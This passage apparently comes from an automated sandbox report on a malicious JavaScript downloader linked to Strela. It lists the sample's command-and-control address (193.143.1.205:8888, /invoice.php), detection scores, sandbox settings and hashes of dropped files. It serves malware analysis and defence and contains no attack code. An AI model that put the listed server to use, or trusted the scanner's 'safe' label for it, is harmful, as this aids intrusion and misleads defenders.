Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3039412363370818030.js	5%	Virustotal		Browse
3039412363370818030.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/A	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2715451352.000002A0D9600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1475956933.000002A0D9420000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1481388987.0000024BE241C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/A	net.exe, 00000007.00000003.1476562897.0000024BE241C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481388987.0000024BE241C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588182
Start date and time:	2025-01-10 22:22:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3039412363370818030.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 3.219.243.226, 20.12.23.50, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:23:41	API Interceptor	24x Sleep call for process: powershell.exe modified
16:23:45	API Interceptor	1x Sleep call for process: net.exe modified
16:23:45	API Interceptor	2x Sleep call for process: svchost.exe modified
16:23:54	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	146362284148625748.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	37422659297833858.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	206038195771531175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	273371081152046820.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11267230832782128009.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1141011204217106657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187837506181165315.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5503463779138895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1018617432866721695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2835523725329532164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1071116915318159767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	315965636547620220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021898926377403
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAo:RJE+Lfki1GjHwU/+vVhWqph
MD5:	095305893876D4093492403A6527B9A0
SHA1:	0F46DD6EBC5102E3F7428D6C1D7C5375C807B773
SHA-256:	9B4CB7D8C8B8BFD547C15E38D9F52332C1B5944A7D3303FD4983B77656335D83
SHA-512:	1DAE5D632B441F5BA6590C121FBF05A43E202613213AFCCCC2A3AD930E2BE145FFBD1D9CB84480855818110595770414B749E9B1CE78E3E7D2E575F3FBE99C8E
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfc01a6b7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433097721927564
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:bazaHvxXy2V2UR
MD5:	BFFE88BEF6CAACCCCAF1F5170C94572D
SHA1:	82FF2453791BEAC77B7CD918C76137237AC46BBF
SHA-256:	1493387A702D65BE4AD9BDBC2C741BF45B2E9B31AA44AFEB049B646BEAE6C0DC
SHA-512:	CF07C18BBF688DFDD6F5A48512F176D14B281AEC086F22F54657516704185E13370C76D081E38050E37237C921194913E1EA5472AEF426D8A2C111DD16FFB8E7
Malicious:	false
Preview:	....... ...............X\...;...{......................0.x...... ...{s.-....}a.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................f0.-....}....................-....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08099877442251277
Encrypted:	false
SSDEEP:	3:en/tKYe/jAvsl/nqlFcl1ZUllllPHOyvYkl/allGBnX/l/Tj/k7/t:e/tKz/jssl/qlFclQ/l5dNG254
MD5:	6D460F61700B39A92CB20E43AE83518D
SHA1:	987D99E82EE09216F5355ABEA9A5FD44FC6FB8B9
SHA-256:	E373814D7756BE27F0ABADDF54042B7FB1EC97AEAAC84BA532133FAE7693EC75
SHA-512:	64E06B868852ADF618E683A01EED9FD4DF219C9D92B9BCA0C78216044E1C3F959CA1AA766EA9D54B37EAC0AB6408BCC336EFDE110C55BF856D597FEDF5783660
Malicious:	false
Preview:	o..s.....................................;...{..-....}... ...{s.......... ...{s.. ...{s.P.... ...{s....................-....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.231779312797271
Encrypted:	false
SSDEEP:	6:iO41UN+q2PCHhJ2nKuAl9OmbnIFUtS1llWZmws1PVkwOCHhJ2nKuAl9OmbjLJ:7YUN+vBHAahFUtqu/kPV56HAaSJ
MD5:	BF01301C1A88E46C5B1FA3F6565F6BA0
SHA1:	0D67250F4E4F14DDB7B99449C8BE2F0EB9733541
SHA-256:	D3FF57424E002A0C172FBBD7E3537269D71FF419E248DBCD969D9090787708AB
SHA-512:	F737B92D0C96CBCB58E31F20EE3653D5C7F10FF44964985890D2D20512D344CC755F53987AA0DF0C5262DCFC10C0831C73E9F51B2A826BFB14CDA86F742145A7
Malicious:	false
Preview:	2025/01/10-16:23:45.394 40c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:23:45.396 40c Recovering log #3.2025/01/10-16:23:45.397 40c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.231779312797271
Encrypted:	false
SSDEEP:	6:iO41UN+q2PCHhJ2nKuAl9OmbnIFUtS1llWZmws1PVkwOCHhJ2nKuAl9OmbjLJ:7YUN+vBHAahFUtqu/kPV56HAaSJ
MD5:	BF01301C1A88E46C5B1FA3F6565F6BA0
SHA1:	0D67250F4E4F14DDB7B99449C8BE2F0EB9733541
SHA-256:	D3FF57424E002A0C172FBBD7E3537269D71FF419E248DBCD969D9090787708AB
SHA-512:	F737B92D0C96CBCB58E31F20EE3653D5C7F10FF44964985890D2D20512D344CC755F53987AA0DF0C5262DCFC10C0831C73E9F51B2A826BFB14CDA86F742145A7
Malicious:	false
Preview:	2025/01/10-16:23:45.394 40c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:23:45.396 40c Recovering log #3.2025/01/10-16:23:45.397 40c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.181121904836041
Encrypted:	false
SSDEEP:	6:iO41zFOq2PCHhJ2nKuAl9Ombzo2jMGIFUtS1zGZmws1zhfkwOCHhJ2nKuAl9OmbX:7YMvBHAa8uFUtqi/kR56HAa8RJ
MD5:	AED2A72DD3AD0D8E31646EE7382789AC
SHA1:	7E1C74F60AD58315505251DFD5CDCA7EEB77AC32
SHA-256:	DB34253553944EAE0B1096E840E0001EE1287ED1EDBB2265AAC3606FA7088557
SHA-512:	250BBDBBD9814F01C2812781737A767B433581725D11BC8EBC26A756D80667D4C80133C67E8FBBCF7AF6A0397B107004401565473093CF96A701180CDCA19196
Malicious:	false
Preview:	2025/01/10-16:23:45.459 1650 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:23:45.461 1650 Recovering log #3.2025/01/10-16:23:45.462 1650 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.181121904836041
Encrypted:	false
SSDEEP:	6:iO41zFOq2PCHhJ2nKuAl9Ombzo2jMGIFUtS1zGZmws1zhfkwOCHhJ2nKuAl9OmbX:7YMvBHAa8uFUtqi/kR56HAa8RJ
MD5:	AED2A72DD3AD0D8E31646EE7382789AC
SHA1:	7E1C74F60AD58315505251DFD5CDCA7EEB77AC32
SHA-256:	DB34253553944EAE0B1096E840E0001EE1287ED1EDBB2265AAC3606FA7088557
SHA-512:	250BBDBBD9814F01C2812781737A767B433581725D11BC8EBC26A756D80667D4C80133C67E8FBBCF7AF6A0397B107004401565473093CF96A701180CDCA19196
Malicious:	false
Preview:	2025/01/10-16:23:45.459 1650 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:23:45.461 1650 Recovering log #3.2025/01/10-16:23:45.462 1650 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1033fdf6-ed06-4b16-a54b-0c04beedf38a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959594371687062
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqHsBdOg2HLAcaq3QYiub6P7E4TX:Y2sRdsJdMHLr3QYhbS7n7
MD5:	9CECD4FA806040A1EE0639FEB1EC1AC9
SHA1:	0792F7A010166C76CC093292B407A24F6F27D4B0
SHA-256:	9F279A392C55B9B54FEE75073EEB24FBBAD8C87CB5A904C6F7C2108E9AD4DFA0
SHA-512:	600B530BBD20755751E548F43A359FCE005E8D0083C2E8DAC436B2CFD4827B2E1E2CA632E421E66830CC40B7E06CD00E6CB328BBA1F43A561EC84F2995C7117B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381104237197519","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121815},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ad6e4.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2b8e05c-419a-4bab-9aff-63d9de3fd49b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.238833237607253
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b15n3D:S43C4mS7fFi0KFYDjr3LWO3V3aw+b15z
MD5:	892B9DD2DB5EE00969EFC52F7F9D88B7
SHA1:	3AD0D587D3D0F04C4F68EDE66CA7D1236F00C9A9
SHA-256:	F8B424D0BE974F2271D330C8BE5ADE20A4EA3F19B512F7C49766DD0E140E93B4
SHA-512:	214D17DEEF3E3D16CD3EBCE84B54F0FEAD1B8245A9B1F24F0B941B90AA42BD519470893A11F39C56F1B1384F8D9D198797F2C68D8657B8723ABF174DB6EA340C
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.219747157688173
Encrypted:	false
SSDEEP:	6:iO41/yqq2PCHhJ2nKuAl9OmbzNMxIFUtS1/QjZmws1/nkwOCHhJ2nKuAl9OmbzNq:7YqqvBHAa8jFUtqm/kP56HAa84J
MD5:	74A03CE18D3D0BD3EB71893C4BCD24DD
SHA1:	AC78607F36B9D19869BEF71F1DA2AE60CFF98C6E
SHA-256:	102988049E1CFE8F31C6E8AA7D5F4CA36A872251DE6A90D90B49AA4F2CB56CBB
SHA-512:	1B9486B4D694AC3DF25DA87259ACA48E9140735412D9958D64DA13748CE1DB5568FBA8DC706BC8C0A980F6E7C4CD1A5A5B79EDC1D44E5D20EF48C777CE93822B
Malicious:	false
Preview:	2025/01/10-16:23:45.841 1650 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:23:45.869 1650 Recovering log #3.2025/01/10-16:23:45.891 1650 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.219747157688173
Encrypted:	false
SSDEEP:	6:iO41/yqq2PCHhJ2nKuAl9OmbzNMxIFUtS1/QjZmws1/nkwOCHhJ2nKuAl9OmbzNq:7YqqvBHAa8jFUtqm/kP56HAa84J
MD5:	74A03CE18D3D0BD3EB71893C4BCD24DD
SHA1:	AC78607F36B9D19869BEF71F1DA2AE60CFF98C6E
SHA-256:	102988049E1CFE8F31C6E8AA7D5F4CA36A872251DE6A90D90B49AA4F2CB56CBB
SHA-512:	1B9486B4D694AC3DF25DA87259ACA48E9140735412D9958D64DA13748CE1DB5568FBA8DC706BC8C0A980F6E7C4CD1A5A5B79EDC1D44E5D20EF48C777CE93822B
Malicious:	false
Preview:	2025/01/10-16:23:45.841 1650 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:23:45.869 1650 Recovering log #3.2025/01/10-16:23:45.891 1650 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
